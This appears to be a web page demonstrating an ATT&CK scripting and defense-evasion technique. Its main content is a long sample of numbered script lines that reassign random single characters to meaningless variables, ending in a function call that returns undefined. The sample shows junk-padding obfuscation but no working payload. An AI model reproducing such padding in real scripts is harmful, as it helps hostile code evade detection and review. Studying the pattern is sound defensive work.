197	yvpyehepq = "t";
198	yvpyehepq = "Z";
199	yvpyehepq = "S";
200	yvpyehepq = "o";
201	yvpyehepq = "v";
202	yvpyehepq = "y";
203	yvpyehepq = "e";
204	utqscw = "M";
205	utqscw = "V";
206	utqscw = "Y";
207	utqscw = "H";
208	utqscw = "x";
209	utqscw = "F";
210	utqscw = "l";
211	utqscw = "V";
212	utqscw = "a";
213	utqscw = "r";
214	utqscw = "t";
215	utqscw = "r";
216	utqscw = "C";
217	utqscw = "Z";
218	utqscw = "C";
219	utqscw = "a";
220	utqscw = "u";
221	utqscw = "I";
222	utqscw = "G";
223	utqscw = "j";
224	utqscw = "y";
225	utqscw = "N";
226	utqscw = "E";
227	utqscw = "n";
228	utqscw = "f";
229	utqscw = "K";
230	utqscw = "P";
231	utqscw = "q";
232	utqscw = "m";
233	utqscw = "v";
234	utqscw = "w";
235	sqijdts = "f";
236	sqijdts = "o";
237	sqijdts = "m";
238	sqijdts = "A";
239	sqijdts = "X";
240	sqijdts = "h";
241	mgkcauwh = "C";
242	mgkcauwh = "n";
243	mgkcauwh = "V";
244	mgkcauwh = "U";
245	mgkcauwh = "a";
246	mgkcauwh = "b";
247	mgkcauwh = "G";
248	mgkcauwh = "N";
249	mgkcauwh = "v";
250	mgkcauwh = "z";
251	mgkcauwh = "j";
252	mgkcauwh = "i";
253	mgkcauwh = "_";
254	idolufdkr = "E";
255	idolufdkr = "d";
256	idolufdkr = "V";
257	idolufdkr = "y";
258	idolufdkr = "B";
259	idolufdkr = "z";
260	idolufdkr = "C";
261	idolufdkr = ":";
262	rtkrb = "O";
263	rtkrb = "N";
264	rtkrb = "g";
265	rtkrb = "F";
266	rtkrb = "L";
267	rtkrb = "s";
268	rtkrb = "m";
269	rtkrb = "W";
270	rtkrb = "E";
271	rtkrb = "J";
272	rtkrb = "N";
273	rtkrb = "M";
274	rtkrb = "R";
275	rtkrb = "u";
276	rtkrb = "p";
277	rtkrb = "m";
278	rtkrb = "A";
279	rtkrb = "b";
280	rtkrb = "g";
281	rtkrb = "n";
282	rtkrb = "T";
283	rtkrb = "L";
284	rtkrb = "W";
285	rtkrb = "L";
286	rtkrb = "v";
287	rtkrb = "q";
288	rtkrb = "M";
289	rtkrb = "d";
290	rtkrb = "r";
291	rtkrb = "h";
292	rtkrb = "p";
293	rtkrb = "S";
294	rtkrb = "H";
295	rtkrb = "p";
296	rtkrb = "y";
297	rtkrb = "G";
298	rtkrb = "K";
299	dffxur = "f";
300	dffxur = "v";
301	dffxur = "Y";
302	dffxur = "R";
303	dffxur = "w";
304	dffxur = "X";
305	dffxur = "L";
306	dffxur = "c";
307	dffxur = "P";
308	dffxur = "Q";
309	dffxur = "A";
310	dffxur = "P";
311	dffxur = "V";
312	dffxur = "g";
313	dffxur = "X";
314	dffxur = "J";
315	dffxur = "a";
316	dffxur = "c";
317	dffxur = "c";
318	dffxur = "G";
319	dffxur = "Q";
320	dffxur = "e";
321	dffxur = "N";
322	dffxur = "T";
323	dffxur = "k";
324	dffxur = "Y";
325	dffxur = "I";
326	dffxur = "I";
327	dffxur = "j";
328	dffxur = "h";
329	dffxur = "f";
330	dffxur = "N";
331	dffxur = "c";
332	dffxur = "S";
333	dffxur = "r";
334	dffxur = "o";
335	dffxur = "O";
336	dffxur = "K";
337	dffxur = "X";
338	dffxur = "n";
339	dffxur = "-";
340	mepweuqdc = "D";
341	mepweuqdc = "a";
342	mepweuqdc = "s";
343	mepweuqdc = "t";
344	mepweuqdc = "K";
345	mepweuqdc = "b";
346	mepweuqdc = "q";
347	mepweuqdc = "d";
348	mepweuqdc = "T";
349	mepweuqdc = "n";
350	mepweuqdc = "t";
351	mepweuqdc = "l";
352	mepweuqdc = "C";
353	mepweuqdc = "S";
354	mepweuqdc = "w";
355	mepweuqdc = "O";
356	mepweuqdc = "g";
357	mepweuqdc = "o";
358	mepweuqdc = "L";
359	mepweuqdc = "a";
360	mepweuqdc = "V";
361	mepweuqdc = "s";
362	mepweuqdc = "G";
363	mepweuqdc = "M";
364	mepweuqdc = "X";
365	mepweuqdc = "E";
366	mepweuqdc = "h";
367	mepweuqdc = "u";
368	mepweuqdc = "F";
369	mepweuqdc = "x";
370	mbtoxi = "r";
371	mbtoxi = "T";
372	mbtoxi = "d";
373	dethucnm = "L";
374	dethucnm = "p";
375	dethucnm = "N";
376	dethucnm = "s";
377	dethucnm = "N";
378	dethucnm = "z";
379	dethucnm = "l";
380	dethucnm = "X";
381	dethucnm = "E";
382	dethucnm = "R";
383	dethucnm = "Z";
384	dethucnm = "U";
385	dethucnm = "T";
386	dethucnm = "A";
387	dethucnm = "l";
388	dethucnm = "m";
389	dethucnm = "i";
390	dethucnm = "o";
391	dethucnm = "k";
392	dethucnm = "i";
393	dethucnm = "M";
394	dethucnm = "n";
395	dethucnm = "w";
396	dethucnm = "B";
397	dethucnm = "H";
398	dethucnm = "b";
399	dethucnm = "W";
400	dethucnm = "O";
401	dethucnm = "Z";
402	dethucnm = "D";
403	dethucnm = "C";
404	dethucnm = "g";
405	dethucnm = "C";
406	dethucnm = "R";
407	dethucnm = "d";
408	dethucnm = "G";
409	dethucnm = "x";
410	dethucnm = "4";
411	vbbqxse = "N";
412	vbbqxse = "N";
413	vbbqxse = "O";
414	vbbqxse = "C";
415	vbbqxse = "G";
416	vbbqxse = "p";
417	vbbqxse = "Y";
418	vbbqxse = "t";
419	vbbqxse = "H";
420	vbbqxse = "U";
421	vbbqxse = "F";
422	amolbtq = "j";
423	amolbtq = "F";
424	amolbtq = "f";
425	amolbtq = "b";
426	amolbtq = "b";
427	amolbtq = "e";
428	amolbtq = "Z";
429	amolbtq = "w";
430	amolbtq = "M";
431	amolbtq = "O";
432	amolbtq = "D";
433	amolbtq = "u";
434	amolbtq = "N";
435	amolbtq = "o";
436	amolbtq = "T";
437	amolbtq = "m";
438	amolbtq = "l";
439	amolbtq = "S";
440	amolbtq = "L";
441	amolbtq = "A";
442	amolbtq = "E";
443	amolbtq = "O";
444	amolbtq = "O";
445	amolbtq = "c";
446	amolbtq = "q";
447	amolbtq = "m";
448	amolbtq = "v";
449	amolbtq = "S";
450	amolbtq = "p";
451	amolbtq = "a";
452	amolbtq = "H";
453	amolbtq = "H";
454	amolbtq = "W";
455	amolbtq = "A";
456	amolbtq = "%";
457	ulbiknqui = "y";
458	ulbiknqui = "W";
459	ulbiknqui = "k";
460	ulbiknqui = "j";
461	ulbiknqui = "B";
462	ulbiknqui = "O";
463	ulbiknqui = "p";
464	ulbiknqui = "U";
465	ulbiknqui = "t";
466	ulbiknqui = "l";
467	npdew = "t";
468	npdew = "k";
469	npdew = "p";
470	npdew = "J";
471	npdew = "D";
472	npdew = "L";
473	npdew = "k";
474	npdew = "e";
475	npdew = "C";
476	npdew = "U";
477	npdew = "o";
478	npdew = "I";
479	npdew = "c";
480	npdew = "k";
481	ndlmfopbl = "m";
482	ndlmfopbl = "k";
483	ndlmfopbl = "J";
484	ndlmfopbl = "Z";
485	ndlmfopbl = "&";
486	noivu = "1";
487	xavhve = "j";
488	xavhve = "e";
489	xavhve = "Z";
490	xavhve = "W";
491	xavhve = "n";
492	xavhve = "m";
493	xavhve = "B";
494	xavhve = "V";
495	xavhve = "d";
496	xavhve = "R";
497	xavhve = "h";
498	xavhve = "G";
499	xavhve = "s";
500	xavhve = "Z";
501	xavhve = "J";
502	xavhve = "h";
503	xavhve = "v";
504	xavhve = "u";
505	xavhve = "Q";
506	xavhve = "v";
507	xavhve = "M";
508	xavhve = "Q";
509	xavhve = "m";
510	xavhve = "j";
511	xavhve = "s";
512	xavhve = "W";
513	xavhve = "J";
514	xavhve = "m";
515	xavhve = "E";
516	xavhve = "J";
517	xavhve = "K";
518	xavhve = "f";
519	xavhve = "R";
520	xavhve = "i";
521	xavhve = "m";
522	xavhve = "y";
523	xavhve = "T";
524	xavhve = "B";
525	xavhve = "u";
526	xavhve = "v";
527	xavhve = "8";
528	mmqpqb = "B";
529	mmqpqb = "o";
530	mmqpqb = "I";
531	mmqpqb = "H";
532	mmqpqb = "s";
533	mmqpqb = "V";
534	mmqpqb = "F";
535	mmqpqb = "x";
536	mmqpqb = "L";
537	mmqpqb = "i";
538	fqlweosqm = "J";
539	fqlweosqm = "H";
540	fqlweosqm = "B";
541	fqlweosqm = "O";
542	fqlweosqm = "B";
543	fqlweosqm = "e";
544	fqlweosqm = "L";
545	fqlweosqm = "k";
546	fqlweosqm = "F";
547	fqlweosqm = "N";
548	fqlweosqm = "l";
549	fqlweosqm = "e";
550	fqlweosqm = "c";
551	fqlweosqm = "K";
552	fqlweosqm = "X";
553	fqlweosqm = "L";
554	fqlweosqm = "Z";
555	fqlweosqm = "i";
556	fqlweosqm = "Z";
557	fqlweosqm = "h";
558	fqlweosqm = "h";
559	fqlweosqm = "M";
560	fqlweosqm = "v";
561	fqlweosqm = "E";
562	fqlweosqm = "s";
563	fqlweosqm = "e";
564	fqlweosqm = "e";
565	fqlweosqm = "p";
566	fqlweosqm = "Y";
567	fqlweosqm = "T";
568	fqlweosqm = "u";
569	lbetyu = "k";
570	lbetyu = "b";
571	lbetyu = "h";
572	lbetyu = "V";
573	lbetyu = "o";
574	lbetyu = "g";
575	lbetyu = "G";
576	lbetyu = "O";
577	lbetyu = "D";
578	lbetyu = "x";
579	lbetyu = "K";
580	lbetyu = "a";
581	lbetyu = "w";
582	lbetyu = "N";
583	lbetyu = "a";
584	lbetyu = "B";
585	lbetyu = "r";
586	lbetyu = "r";
587	mgphhn = "S";
588	mgphhn = "j";
589	mgphhn = "B";
590	mgphhn = "Q";
591	mgphhn = "L";
592	mgphhn = "E";
593	mgphhn = "H";
594	mgphhn = "N";
595	mgphhn = "6";
596	dowuaoa = "p";
597	dowuaoa = "I";
598	gdelia = "U";
599	gdelia = "W";
600	gdelia = "L";
601	gdelia = "E";
602	gdelia = "R";
603	gdelia = "v";
604	gdelia = "B";
605	gdelia = "y";
606	gdelia = "w";
607	gdelia = "Y";
608	gdelia = "v";
609	gdelia = "E";
610	gdelia = "e";
611	gdelia = "D";
612	gdelia = "m";
613	gdelia = "k";
614	gdelia = "p";
615	gdelia = "X";
616	gdelia = "U";
617	gdelia = "S";
618	gdelia = "a";
619	gdelia = "l";
620	gdelia = "j";
621	gdelia = "Q";
622	gdelia = "Y";
623	gdelia = "t";
624	gdelia = "X";
625	gdelia = "\"";
626	wkyvfmdfw = "H";
627	wkyvfmdfw = "S";
628	wkyvfmdfw = "M";
629	wkyvfmdfw = "n";
630	wkyvfmdfw = "K";
631	wkyvfmdfw = "E";
632	wkyvfmdfw = "J";
633	wkyvfmdfw = "t";
634	wkyvfmdfw = "P";
635	cxwsbdph = "j";
636	cxwsbdph = "K";
637	cxwsbdph = "h";
638	cxwsbdph = "j";
639	cxwsbdph = "c";
640	cxwsbdph = "q";
641	cxwsbdph = "b";
642	cxwsbdph = "n";
643	cxwsbdph = "T";
644	cxwsbdph = "v";
645	cxwsbdph = "M";
646	cxwsbdph = "H";
647	cxwsbdph = "z";
648	cxwsbdph = "h";
649	cxwsbdph = "f";
650	cxwsbdph = "h";
651	cxwsbdph = "q";
652	cxwsbdph = "I";
653	cxwsbdph = "P";
654	cxwsbdph = "S";
655	cxwsbdph = "L";
656	cxwsbdph = "i";
657	cxwsbdph = "U";
658	cxwsbdph = "l";
659	cxwsbdph = "M";
660	cxwsbdph = "J";
661	cxwsbdph = "l";
662	cxwsbdph = "T";
663	cxwsbdph = "I";
664	cxwsbdph = "p";
665	cxwsbdph = "l";
666	cxwsbdph = "l";
667	cxwsbdph = "U";
668	cxwsbdph = "Y";
669	cxwsbdph = "/";
670	bcynvsrwg = "k";
671	bcynvsrwg = "s";
672	bcynvsrwg = "l";
673	bcynvsrwg = "R";
674	bcynvsrwg = "J";
675	bcynvsrwg = "I";
676	bcynvsrwg = "A";
677	bcynvsrwg = "h";
678	bcynvsrwg = "r";
679	bcynvsrwg = "u";
680	bcynvsrwg = "g";
681	bcynvsrwg = "M";
682	bcynvsrwg = "W";
683	bcynvsrwg = "E";
684	bcynvsrwg = "g";
685	bcynvsrwg = "i";
686	bcynvsrwg = "h";
687	bcynvsrwg = "m";
688	bcynvsrwg = "y";
689	bcynvsrwg = "y";
690	bcynvsrwg = "m";
691	bcynvsrwg = "n";
692	bcynvsrwg = "a";
693	bcynvsrwg = "B";
694	bcynvsrwg = "b";
695	bcynvsrwg = "Z";
696	bcynvsrwg = "x";
697	bcynvsrwg = "k";
698	bcynvsrwg = "R";
699	bcynvsrwg = "Y";
700	bcynvsrwg = "A";
701	bcynvsrwg = "n";
702	dkviy = "o";
703	dkviy = "D";
704	dkviy = "v";
705	dkviy = "R";
706	dkviy = "p";
707	dkviy = "c";
708	dkviy = "H";
709	dkviy = "U";
710	dkviy = "P";
711	dkviy = "Q";
712	dkviy = "r";
713	dkviy = "M";
714	dkviy = "l";
715	dkviy = "Y";
716	dkviy = "c";
717	dkviy = "w";
718	dkviy = "q";
719	dkviy = "e";
720	dkviy = "p";
721	dkviy = "J";
722	dkviy = "V";
723	dkviy = "P";
724	dkviy = "S";
725	dkviy = "K";
726	dkviy = "W";
727	dkviy = "Q";
728	dkviy = "B";
729	dkviy = "Q";
730	dkviy = "I";
731	dkviy = "j";
732	gbdqkyvpx = "M";
733	gbdqkyvpx = "v";
734	gbdqkyvpx = "u";
735	gbdqkyvpx = "W";
736	gbdqkyvpx = "G";
737	gbdqkyvpx = "o";
738	gbdqkyvpx = "Q";
739	gbdqkyvpx = "y";
740	gbdqkyvpx = "B";
741	gbdqkyvpx = "L";
742	gbdqkyvpx = "M";
743	gbdqkyvpx = "d";
744	gbdqkyvpx = "P";
745	gbdqkyvpx = "b";
746	gbdqkyvpx = "n";
747	gbdqkyvpx = "i";
748	gbdqkyvpx = "u";
749	gbdqkyvpx = "T";
750	gbdqkyvpx = "X";
751	gbdqkyvpx = "z";
752	gbdqkyvpx = "F";
753	gbdqkyvpx = "k";
754	gbdqkyvpx = "i";
755	gbdqkyvpx = "X";
756	gbdqkyvpx = "W";
757	gbdqkyvpx = "S";
758	gbdqkyvpx = "k";
759	gbdqkyvpx = "Q";
760	gbdqkyvpx = "N";
761	gbdqkyvpx = "k";
762	gbdqkyvpx = "v";
763	gbdqkyvpx = "i";
764	gbdqkyvpx = "l";
765	gbdqkyvpx = "T";
766	gbdqkyvpx = "g";
767	gbdqkyvpx = "o";
768	gbdqkyvpx = "P";
769	gbdqkyvpx = "f";
770	gbdqkyvpx = "A";
771	gbdqkyvpx = "W";
772	vxjvcuc = "Z";
773	vxjvcuc = "I";
774	vxjvcuc = "9";
775	dcyjue = "G";
776	dcyjue = "G";
777	dcyjue = "E";
778	dcyjue = "n";
779	dcyjue = "D";
780	dcyjue = "y";
781	dcyjue = "m";
782	dcyjue = "A";
783	dcyjue = "H";
784	dcyjue = "A";
785	dcyjue = "S";
786	dcyjue = "r";
787	dcyjue = "p";
788	dcyjue = "X";
789	dcyjue = "e";
790	dcyjue = "J";
791	dcyjue = "S";
792	wrkvetgc = "p";
793	wrkvetgc = "u";
794	wrkvetgc = "K";
795	wrkvetgc = "w";
796	wrkvetgc = "R";
797	wrkvetgc = "U";
798	wrkvetgc = "o";
799	wrkvetgc = "o";
800	wrkvetgc = "h";
801	wrkvetgc = "n";
802	wrkvetgc = "I";
803	wrkvetgc = "o";
804	wrkvetgc = "L";
805	wrkvetgc = "v";
806	wrkvetgc = "k";
807	wrkvetgc = "j";
808	wrkvetgc = "k";
809	wrkvetgc = "M";
810	wrkvetgc = "p";
811	wrkvetgc = "t";
812	wrkvetgc = "W";
813	wrkvetgc = "A";
814	wrkvetgc = "n";
815	wrkvetgc = "w";
816	wrkvetgc = "z";
817	wrkvetgc = "A";
818	wrkvetgc = "R";
819	wrkvetgc = "U";
820	wrkvetgc = "@";
821	sahpmu = "k";
822	sahpmu = "E";
823	sahpmu = "i";
824	sahpmu = "z";
825	sahpmu = "l";
826	sahpmu = "H";
827	sahpmu = "g";
828	sahpmu = "C";
829	sahpmu = "f";
830	sahpmu = "Q";
831	sahpmu = "x";
832	sahpmu = "Y";
833	sahpmu = "P";
834	sahpmu = "R";
835	sahpmu = "M";
836	sahpmu = "b";
837	sahpmu = "R";
838	sahpmu = "b";
839	sogsj = "S";
840	sogsj = "c";
841	sogsj = " ";
842	ejkrdyi = "v";
843	ejkrdyi = "z";
844	ejkrdyi = "s";
845	ejkrdyi = "d";
846	ejkrdyi = "p";
847	ejkrdyi = "C";
848	ejkrdyi = "B";
849	ejkrdyi = "Q";
850	ejkrdyi = "G";
851	ejkrdyi = "a";
852	ejkrdyi = "p";
853	ejkrdyi = "m";
854	ejkrdyi = "n";
855	ejkrdyi = "q";
856	ejkrdyi = "f";
857	ejkrdyi = "p";
858	ejkrdyi = "E";
859	ejkrdyi = "Z";
860	ejkrdyi = "g";
861	ejkrdyi = "e";
862	ejkrdyi = "K";
863	ejkrdyi = "E";
864	bwdmqydg = "w";
865	bwdmqydg = "c";
866	bwdmqydg = "k";
867	bwdmqydg = "p";
868	bwdmqydg = "O";
869	bwdmqydg = "f";
870	bwdmqydg = "P";
871	bwdmqydg = "G";
872	bwdmqydg = "a";
873	bwdmqydg = "n";
874	bwdmqydg = "R";
875	bwdmqydg = "X";
876	bwdmqydg = "V";
877	bwdmqydg = "s";
878	bwdmqydg = "v";
879	omcwopn = "A";
880	omcwopn = "Q";
881	omcwopn = "r";
882	omcwopn = "R";
883	omcwopn = "D";
884	omcwopn = "s";
885	omcwopn = "i";
886	omcwopn = "X";
887	omcwopn = "D";
888	omcwopn = "u";
889	omcwopn = "J";
890	omcwopn = "o";
891	omcwopn = "o";
892	omcwopn = "p";
893	omcwopn = "Y";
894	omcwopn = "B";
895	omcwopn = "X";
896	omcwopn = "w";
897	omcwopn = "w";
898	omcwopn = "s";
899	omcwopn = "W";
900	omcwopn = "z";
901	omcwopn = "o";
902	omcwopn = "j";
903	omcwopn = "o";
904	omcwopn = "g";
905	omcwopn = "a";
906	omcwopn = "u";
907	omcwopn = "H";
908	omcwopn = "m";
909	omcwopn = "y";
910	omcwopn = "H";
911	omcwopn = "V";
912	omcwopn = "J";
913	omcwopn = "n";
914	omcwopn = "v";
915	omcwopn = "v";
916	omcwopn = "s";
917	bwyacgkt = "c";
918	bwyacgkt = "Q";
919	bwyacgkt = "Y";
920	bwyacgkt = "F";
921	bwyacgkt = "g";
922	bwyacgkt = "R";
923	bwyacgkt = "n";
924	bwyacgkt = "W";
925	bwyacgkt = "N";
926	bwyacgkt = "m";
927	bwyacgkt = "j";
928	bwyacgkt = "P";
929	bwyacgkt = "i";
930	bwyacgkt = "U";
931	bwyacgkt = "e";
932	bwyacgkt = "x";
933	bwyacgkt = "o";
934	bwyacgkt = "S";
935	bwyacgkt = "s";
936	bwyacgkt = "K";
937	bwyacgkt = "t";
938	bwyacgkt = "P";
939	bwyacgkt = "g";
940	bwyacgkt = "r";
941	bwyacgkt = "U";
942	bwyacgkt = "w";
943	bwyacgkt = "y";
944	bwyacgkt = "n";
945	bwyacgkt = "u";
946	bwyacgkt = "N";
947	bwyacgkt = "X";
948	bwyacgkt = "W";
949	bwyacgkt = "m";
950	bwyacgkt = "Q";
951	ityhod = "g";
952	ityhod = "U";
953	ityhod = "d";
954	ityhod = "H";
955	ityhod = "n";
956	ityhod = "k";
957	ityhod = "l";
958	ityhod = "Z";
959	ityhod = "t";
960	ityhod = "b";
961	ityhod = "Z";
962	ityhod = "K";
963	ityhod = "C";
964	ityhod = "s";
965	ityhod = "p";
966	ityhod = "V";
967	ityhod = "M";
968	ityhod = "N";
969	ityhod = "L";
970	ityhod = "p";
971	ityhod = "j";
972	ityhod = "m";
973	ityhod = "l";
974	ityhod = "s";
975	ityhod = "K";
976	ityhod = "x";
977	ityhod = "f";
978	ityhod = "N";
979	ityhod = "k";
980	ityhod = "y";
981	ityhod = "c";
982	ityhod = "l";
983	ityhod = "c";
984	ityhod = "S";
985	ityhod = "n";
986	ityhod = "M";
987	ityhod = "V";
988	ityhod = "a";
989	ityhod = "w";
990	ityhod = "C";
991	ityhod = "j";
992	ityhod = "L";
993	nujhqaslp = "G";
994	nujhqaslp = "p";
995	nujhqaslp = "p";
996	nujhqaslp = "V";
997	nujhqaslp = "D";
998	nujhqaslp = "L";
999	nujhqaslp = "o";
1000	nujhqaslp = "C";
1001	nujhqaslp = "l";
1002	nujhqaslp = "w";
1003	nujhqaslp = "w";
1004	nujhqaslp = "q";
1005	nujhqaslp = "o";
1006	nujhqaslp = "R";
1007	nujhqaslp = "z";
1008	nujhqaslp = "i";
1009	nujhqaslp = "V";
1010	nujhqaslp = "G";
1011	nujhqaslp = "o";
1012	nujhqaslp = "z";
1013	nujhqaslp = "G";
1014	nujhqaslp = "e";
1015	nujhqaslp = "F";
1016	nujhqaslp = "e";
1017	nujhqaslp = "3";
1018	irvbrh = "i";
1019	irvbrh = "O";
1020	irvbrh = "c";
1021	irvbrh = "Z";
1022	irvbrh = "w";
1023	irvbrh = "l";
1024	irvbrh = "D";
1025	irvbrh = "f";
1026	irvbrh = "q";
1027	irvbrh = "h";
1028	irvbrh = "V";
1029	irvbrh = "g";
1030	gxqxbjs = "R";
1031	gxqxbjs = "L";
1032	gxqxbjs = "W";
1033	gxqxbjs = "L";
1034	gxqxbjs = "L";
1035	gxqxbjs = "i";
1036	gxqxbjs = "H";
1037	gxqxbjs = "Q";
1038	gxqxbjs = "e";
1039	gxqxbjs = "e";
1040	gxqxbjs = "a";
1041	gxqxbjs = "O";
1042	gxqxbjs = "X";
1043	gxqxbjs = "N";
1044	gxqxbjs = "T";
1045	gxqxbjs = "P";
1046	gxqxbjs = "U";
1047	gxqxbjs = "E";
1048	gxqxbjs = "l";
1049	gxqxbjs = "j";
1050	gxqxbjs = "d";
1051	gxqxbjs = "V";
1052	gxqxbjs = "i";
1053	gxqxbjs = "q";
1054	gxqxbjs = "c";
1055	gxqxbjs = "i";
1056	gxqxbjs = "v";
1057	gxqxbjs = "t";
1058	bykssa = "E";
1059	bykssa = "L";
1060	bykssa = "G";
1061	bykssa = "W";
1062	bykssa = "j";
1063	bykssa = "d";
1064	bykssa = "J";
1065	bykssa = "j";
1066	bykssa = "Y";
1067	bykssa = "c";
1068	bykssa = "G";
1069	bykssa = "i";
1070	bykssa = "r";
1071	bykssa = "q";
1072	bykssa = "z";
1073	bykssa = "P";
1074	bykssa = "e";
1075	bykssa = "v";
1076	bykssa = "g";
1077	bykssa = "q";
1078	curhey = "x";
1079	curhey = "n";
1080	curhey = "c";
1081	curhey = "s";
1082	curhey = "L";
1083	curhey = "F";
1084	curhey = "i";
1085	curhey = "R";
1086	curhey = "T";
1087	curhey = "f";
1088	curhey = "c";
1089	curhey = "y";
1090	curhey = "z";
1091	curhey = "z";
1092	curhey = "n";
1093	curhey = "y";
1094	curhey = "j";
1095	curhey = "V";
1096	curhey = "w";
1097	curhey = "I";
1098	curhey = "h";
1099	curhey = "V";
1100	curhey = "L";
1101	curhey = "a";
1102	curhey = "c";
1103	curhey = "s";
1104	curhey = "Z";
1105	curhey = "O";
1106	curhey = "m";
1107	curhey = "J";
1108	curhey = "N";
1109	curhey = "h";
1110	curhey = "W";
1111	curhey = "H";
1112	curhey = "v";
1113	curhey = "v";
1114	curhey = "s";
1115	curhey = "R";
1116	zmrkngr = "o";
1117	zmrkngr = "d";
1118	zmrkngr = "M";
1119	zmrkngr = "l";
1120	zmrkngr = "y";
1121	zmrkngr = "D";
1122	zmrkngr = "k";
1123	zmrkngr = "K";
1124	zmrkngr = "T";
1125	zmrkngr = "t";
1126	zmrkngr = "b";
1127	zmrkngr = "s";
1128	zmrkngr = "r";
1129	zmrkngr = "K";
1130	zmrkngr = "F";
1131	zmrkngr = "I";
1132	zmrkngr = "d";
1133	zmrkngr = "u";
1134	zmrkngr = "g";
1135	zmrkngr = "e";
1136	zmrkngr = "e";
1137	zmrkngr = "O";
1138	zmrkngr = "Y";
1139	zmrkngr = "P";
1140	zmrkngr = "r";
1141	zmrkngr = "c";
1142	rqtcst = "I";
1143	rqtcst = "u";
1144	rqtcst = "Q";
1145	rqtcst = "U";
1146	rqtcst = "K";
1147	rqtcst = "c";
1148	rqtcst = "W";
1149	rqtcst = "O";
1150	rqtcst = "s";
1151	rqtcst = "y";
1152	rqtcst = "H";
1153	rqtcst = "k";
1154	rqtcst = "E";
1155	rqtcst = "v";
1156	rqtcst = "k";
1157	rqtcst = "B";
1158	rqtcst = "D";
1159	rqtcst = "H";
1160	gmljnbmkk = "p";
1161	gmljnbmkk = "C";
1162	gmljnbmkk = "Y";
1163	lutyplcm = "h";
1164	lutyplcm = "M";
1165	lutyplcm = "H";
1166	lutyplcm = "l";
1167	lutyplcm = "U";
1168	lutyplcm = "D";
1169	lutyplcm = "O";
1170	lutyplcm = "S";
1171	lutyplcm = "g";
1172	lutyplcm = "x";
1173	lutyplcm = "i";
1174	lutyplcm = "b";
1175	lutyplcm = "F";
1176	lutyplcm = "M";
1177	lutyplcm = "W";
1178	lutyplcm = "A";
1179	lutyplcm = "u";
1180	lutyplcm = "b";
1181	lutyplcm = "o";
1182	lutyplcm = "T";
1183	lutyplcm = "q";
1184	lutyplcm = "b";
1185	lutyplcm = "Y";
1186	lutyplcm = "h";
1187	lutyplcm = "7";
1188	ovfen = "T";
1189	ovfen = "m";
1190	ovfen = "N";
1191	ovfen = "p";
1192	ovfen = "Q";
1193	ovfen = "G";
1194	ovfen = "a";
1195	ovfen = "U";
1196	ovfen = "a";
1197	ovfen = "C";
1198	ovfen = "M";
1199	ovfen = "J";
1200	ovfen = "D";
1201	ovfen = "R";
1202	ovfen = "C";
1203	ovfen = "c";
1204	ovfen = "m";
1205	aefkskxt = "d";
1206	aefkskxt = "b";
1207	aefkskxt = "U";
1208	aefkskxt = "q";
1209	aefkskxt = "b";
1210	aefkskxt = "K";
1211	aefkskxt = "q";
1212	aefkskxt = "o";
1213	aefkskxt = "Y";
1214	aefkskxt = "z";
1215	aefkskxt = "l";
1216	aefkskxt = "L";
1217	aefkskxt = "\\";
1218	vsvlkutu = "L";
1219	vsvlkutu = "z";
1220	vsvlkutu = "N";
1221	vsvlkutu = "N";
1222	vsvlkutu = "E";
1223	vsvlkutu = "k";
1224	vsvlkutu = "T";
1225	vsvlkutu = "w";
1226	vsvlkutu = "i";
1227	vsvlkutu = "K";
1228	vsvlkutu = "O";
1229	vsvlkutu = "H";
1230	vsvlkutu = "c";
1231	vsvlkutu = "f";
1232	vsvlkutu = "N";
1233	jpuwfk = "G";
1234	jpuwfk = "E";
1235	jpuwfk = "G";
1236	jpuwfk = "E";
1237	jpuwfk = "L";
1238	jpuwfk = "F";
1239	jpuwfk = "A";
1240	jpuwfk = "D";
1241	jpuwfk = "K";
1242	jpuwfk = "z";
1243	jpuwfk = "L";
1244	jpuwfk = "g";
1245	jpuwfk = "o";
1246	jpuwfk = "T";
1247	jpuwfk = "p";
1248	jpuwfk = "s";
1249	jpuwfk = "j";
1250	jpuwfk = "G";
1251	jpuwfk = "g";
1252	jpuwfk = "e";
1253	jpuwfk = "O";
1254	jpuwfk = "G";
1255	jpuwfk = "h";
1256	jpuwfk = "C";
1257	jpuwfk = "T";
1258	jpuwfk = "H";
1259	jpuwfk = "s";
1260	jpuwfk = "p";
1261	jpuwfk = "c";
1262	jpuwfk = "p";
1263	jpuwfk = "g";
1264	jpuwfk = "C";
1265	jpuwfk = "i";
1266	jpuwfk = "S";
1267	jpuwfk = "M";
1268	jpuwfk = "C";
1269	ynthlg = "0";
1270	jtyxbjr = "E";
1271	jtyxbjr = "i";
1272	jtyxbjr = "t";
1273	jtyxbjr = "j";
1274	jtyxbjr = "G";
1275	jtyxbjr = "U";
1276	uibpqiyfp = "q";
1277	uibpqiyfp = "L";
1278	uibpqiyfp = "P";
1279	uibpqiyfp = "i";
1280	uibpqiyfp = "H";
1281	uibpqiyfp = "V";
1282	uibpqiyfp = "p";
1283	uibpqiyfp = "l";
1284	uibpqiyfp = "G";
1285	uibpqiyfp = "U";
1286	uibpqiyfp = "L";
1287	uibpqiyfp = "U";
1288	uibpqiyfp = "K";
1289	uibpqiyfp = "r";
1290	uibpqiyfp = "G";
1291	uibpqiyfp = "Y";
1292	uibpqiyfp = "F";
1293	uibpqiyfp = "O";
1294	sheabmu = "R";
1295	sheabmu = "e";
1296	sheabmu = "a";
1297	sheabmu = "U";
1298	sheabmu = "a";
1299	sheabmu = "x";
1300	sheabmu = "Q";
1301	sheabmu = "g";
1302	sheabmu = "v";
1303	sheabmu = "I";
1304	sheabmu = "f";
1305	sheabmu = "w";
1306	sheabmu = "Q";
1307	sheabmu = "D";
1308	sheabmu = "H";
1309	sheabmu = "n";
1310	sheabmu = "a";
1311	sheabmu = "g";
1312	sheabmu = "d";
1313	sheabmu = "F";
1314	sheabmu = "J";
1315	sheabmu = "d";
1316	sheabmu = "z";
1317	sheabmu = "z";
1318	sheabmu = "B";
1319	sheabmu = "Q";
1320	sheabmu = "C";
1321	sheabmu = "h";
1322	sheabmu = "e";
1323	sheabmu = "Y";
1324	sheabmu = "C";
1325	sheabmu = "A";
1326	sheabmu = "v";
1327	sheabmu = "u";
1328	sheabmu = "F";
1329	sheabmu = "L";
1330	sheabmu = "V";
1331	sheabmu = "m";
1332	sheabmu = "f";
1333	lnpwawcam ( );	lnpwawcam() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

